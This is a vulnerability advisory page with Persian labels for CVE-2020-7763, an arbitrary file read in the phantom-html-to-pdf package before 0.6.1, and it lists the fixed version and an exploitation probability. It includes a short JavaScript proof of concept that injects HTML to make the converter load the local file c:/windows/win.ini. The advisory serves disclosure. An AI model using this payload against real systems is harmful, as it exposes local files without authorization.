همهٔ گزارش‌ها
زیاد

Arbitrary File Read in phantom-html-to-pdf

متن اصلی

نسخه‌های متأثر

نسخه‌های متأثر
< 0.6.1
نسخهٔ اصلاح‌شده
0.6.2

بهره‌برداری

CVE-2020-7763

احتمال بهره‌برداری در ۳۰ روز آینده: 1.62%

FIRST EPSS · ۱۴۰۵/۰۸/۳۰

شرح آسیب‌پذیری

This affects the package phantom-html-to-pdf before 0.6.1.

PoC
var fs = require('fs') var conversion = require("phantom-html-to-pdf")();
conversion.allowLocalFilesAccess = false conversion({
    html: "document.write(window.location='c:/windows/win.ini')"
}, function(err, pdf) {
    var output = fs.createWriteStream('output.pdf') console.log(pdf.logs);
    console.log(pdf.numberOfPages);
    pdf.stream.pipe(output);
});

پیوندها